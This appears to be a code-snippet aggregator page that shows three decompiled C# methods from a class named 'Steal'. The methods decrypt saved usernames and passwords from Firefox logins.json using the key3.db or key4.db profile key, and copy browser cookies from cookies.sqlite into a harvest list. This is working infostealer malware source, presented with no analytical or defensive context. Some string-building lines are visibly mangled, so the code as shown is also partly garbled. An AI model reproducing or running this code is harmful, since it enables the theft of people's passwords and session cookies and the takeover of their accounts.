Esempio n. 1
0
 // Token: 0x06000337 RID: 823 RVA: 0x000135A0 File Offset: 0x000117A0
 public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name)
 {
     try
     {
         string path = Steal.CreateTempCopy(Path.Combine(profile, "logins.json"));
         if (File.Exists(path))
         {
             foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
             {
                 JsonValue jsonValue = (JsonValue)obj;
                 Gecko4    gecko     = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                 Gecko4    gecko2    = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                 string    text      = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 string    text2     = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 Steal.credential.Add(string.Concat(new string[]
                 {
                     "URL : ",
                     jsonValue["hostname"],
                     Environment.NewLine,
                     "Login: "******"Password: "******"URL : ",
                     jsonValue["hostname"],
                     Environment.NewLine,
                     "Login: "******"Password: "******"Browser : ",
                     browser_name,
                     Environment.NewLine,
                     "Profile : ",
                     profile_name,
                     Environment.NewLine,
                     Steal.credential[i]
                 }));
             }
             Steal.credential.Clear();
         }
     }
     catch (Exception)
     {
     }
 }
Esempio n. 2
0
 // Token: 0x06000330 RID: 816 RVA: 0x00012FE8 File Offset: 0x000111E8
 public static void Creds(string profile, string browser_name, string profile_name)
 {
     try
     {
         if (File.Exists(Path.Combine(profile, "key3.db")))
         {
             Steal.Lopos(profile, Steal.p3k(Steal.CreateTempCopy(Path.Combine(profile, "key3.db"))), browser_name, profile_name);
         }
         Steal.Lopos(profile, Steal.p4k(Steal.CreateTempCopy(Path.Combine(profile, "key4.db"))), browser_name, profile_name);
     }
     catch (Exception)
     {
     }
 }
Esempio n. 3
0
 // Token: 0x06000336 RID: 822 RVA: 0x0001340C File Offset: 0x0001160C
 public static void CookMhn(string profile, string browser_name, string profile_name)
 {
     try
     {
         CNT cnt = new CNT(Steal.CreateTempCopy(Path.Combine(profile, "cookies.sqlite")));
         cnt.ReadTable("moz_cookies");
         for (int i = 0; i < cnt.RowLength; i++)
         {
             try
             {
                 Steal.domains.Add(cnt.ParseValue(i, "host").Trim());
                 Steal.Cookies_Gecko.Add(string.Concat(new string[]
                 {
                     cnt.ParseValue(i, "host").Trim(),
                     "\t",
                     (cnt.ParseValue(i, "isSecure") == "1").ToString(),
                     "\t",
                     cnt.ParseValue(i, "path").Trim(),
                     "\t",
                     (cnt.ParseValue(i, "isSecure") == "1").ToString(),
                     "\t",
                     cnt.ParseValue(i, "expiry").Trim(),
                     "\t",
                     cnt.ParseValue(i, "name").Trim(),
                     "\t",
                     cnt.ParseValue(i, "value"),
                     Environment.NewLine
                 }));
             }
             catch
             {
             }
         }
     }
     catch (Exception)
     {
     }
 }